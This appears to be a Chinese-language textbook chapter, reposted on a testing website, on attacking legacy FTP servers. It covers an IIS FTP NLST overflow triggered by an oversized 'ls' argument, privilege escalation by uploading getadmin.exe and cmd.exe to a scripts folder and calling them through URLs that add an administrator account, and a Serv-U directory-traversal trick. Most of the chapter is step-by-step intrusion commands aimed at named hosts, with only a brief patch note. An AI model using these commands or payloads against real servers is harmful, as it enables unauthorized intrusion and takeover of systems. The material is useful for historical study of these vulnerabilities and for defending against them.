下一页 1 2
现在很多的站点用FTP服务来更新网站,但是微软的FTP服务还是使用第三方软件如:serv-u、wuftp,但它们都存在着严重的漏洞。接下来将介绍一些有关FTP服务存在的漏洞及入侵测试。6.10.1 IIS FTP远程溢出漏洞 在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能使攻击者在服务器上非法运行一条命令,如果溢出地址不正确的话,也可能会造成服务器关闭。 受影响的系统: Windows NT 4.0 (SP4) IIS 3.0 / 4.0 Windows 95/98 PWS 1.0 攻击测试: (1) 找到一台Windows NT4.0服务器,并提供FTP匿名登录服务,这里以www.ffhh.net为测试对象。接下来打开MS-DOS程序(Windows 2000操作系统打开命令提示符),在命令提示符下,攻击侵者向目标机输入以下格式:
ftp www.ffhh.net 如图6-96所示。
提示: Microsoft FTP service (Version 4.0)这里是指测试服务器所使用的FTP版本为:微软公司的4.0版本,从230 Anonymous user logged in可以看出,登录的方式为匿名登录,匿名用户只有对服务器上的数据读的权限,所输入的用户名是ftp,在要求输入密码时,可以为空,也可以填写一个E-mail地址即可。 注意: 一般情况下匿名登录用户名为 Anonymous ,在输入用户名时输入Anonymous,密码为空或是输入一个E-mail地址后直接按Enter键即可。 (2) 在FTP命令下输入以下内容: ls BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 如图6-97所示。
提示: 服务器显示150 Opening ASCII mode data connection for file list,说明该服务器关闭。 (3) 此时被测试的服务器关闭,服务器端反映如下: The instruction at '0x710f8aa2' referenced memory at '0x41414156' EAX = 0000005C EBX = 00000001 ECX = 00D3F978 EDX = 002582DD ESI = 00D3F978 EDI = 00000000 EIP = 710F8AA2 ESP = 00D3F644 EBP = 00D3F9F0 EFL = 00000206 通过多次的调试和测试,可以得出服务器端准确的溢出地址,从而能在服务器上执行一条非法命令。6.10.2 匿名FTP入侵 如果IIS服务器允许匿名账号FTP登录的设定,会给入侵者带来了突破Windows NT Server的机会,接下来看看入侵者是如何入侵允许匿名账号FTP登录的服务器。 入侵测试: 操作系统:Windows 98 目标服务器地址:www.54hack.com 所用程序:getadmin.exe(在Windows NT下提升用户权限) (1) 选择【开始】→【程序】→【MS-DOS方式】命令打开命令提示符,在提示符下键入: c:\>ftp www.54hack.com Connected to www.54hack.com 220 54hack Microsoft FTP Service (Version 3.0). 提示: 54hack就是NETBIOS名,那么一定会有一个IUSR_54hack的用户账号,入侵者可以通过这个账号来获取Administrator的权限。 User (www.54hack.com:(none)):anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 输入guest@ 或者guest 对于缺乏网络安全知识的管理员来说,很多人没有将guest账号禁用,或者没有设置密码,那么guest账号就是一个可用的正确的用户账号,虽然只属于Domain guest组,在这种情况下我们就可以进NT Server的FTP了。 (2) 进去以后,如果输入cd /scripts后改变目录成功,这时入侵就有了80%的把握了。 (3) 把WinNT下的cmd.exe复制到scripts文件夹下,把getadmin.exe和gasys.dll上传到scripts目录下,然后输入: http://www.54hack.com/scripts/getadmin.exe?IUSR_54hack 大约十多秒后屏幕显示: CGI Error 这时已经把IUSR_54hack升级为Administrator,也就是任何访问该Web站的人都是 管理员。 (4) 添加用户,在浏览器中输入如下内容: http://www.54hack.com/scripts/cmd.exe?/c c:\winnt\system32\net.exe user system32 ffhh /add 这样就创建了一个叫system32的用户,密码是:ffhh,然后提升权限输入如下内容: http://www.54hack.com/scripts/getadmin.exe?system32 (5) 入侵测试完成,完全控制目标计算机。 6.10.3 Serv-U入侵 Serv-U是一款很出色的FTP服务器软件,在网上的应用很广泛,其设置简单,小巧玲珑,很受用户喜爱。 但是在2000年12月3日Zoa_Chien (zoachien securax.org)发现了Serv-U的一个重大漏洞,这个漏洞使安装有Serv-U软件的服务器的硬盘暴露在网络上。这个漏洞在2.5i以前版本中全部存在,但是现在还有很多的网站仍然在使用2.5i以前的版本。下面就来看看入侵者是如何利用该漏洞的。 (1) 入侵者使用匿名进入一个使用Seru-U的2.5i以前版本FTP站点: ftp>pwd 257 "/c:/ftproot" is current directory. ftp>cd .. 550 /c:/: Permission denied. 解释: 权限不足。 ftp>ls .. 200 PORT Command successful. 550 Permission denied. 解释: 没有权限查看上一级目录。 (2) 换种方式,输入如下命令格式: ftp>ls .. ./* 注意: 命令格式中必须加上/*。 上一级目录(C:\)中的东西尽收眼底了! ftp>cd .. . ftp>pwd 257 "/c:/ftproot/.." is current directory. 解释: 当前目录变成了c:\ftproot\..,即根目录。 这是由于.. 在这里相当于..;而且,在Serv-U分析这个目录的时候,把..当作当前目录下的子目录,而不是直接进入上一级目录。所以C盘根目录,也就是c:\ftproot\..被当作ftproot里面的子目录来操作。如果在Serv-U的设置中,c:\ftproot被当作用户的主目录,用户可以对它和其子目录进行读和写的操作,而本来用户被禁止操作的其他目录,就可以通过这种方式当作当前目录的子目录而继承其属性,用户也可以对它读写了。假如当前在\c:\ftproot\incoming\目录,那么就可以用.. ./.. ./windows来表示\c:\ftproot\test\..\..\windows,即c:\windows目录,如果incoming目录对用户完全开放,可以进行读、写、删除、列表、建目录,那么用户也就可以对c:\windows目录进行一些可怕的操作了。 经过证明 .. ..、.. ..、 .. .都等效于..。如果管理员不重视此漏洞的话,服务器就有可能被入侵都完全控制。 漏洞修补:升级Serv-U到2.5i以上的版本
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
文章来源于领测软件测试网 https://www.ltesting.net/
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073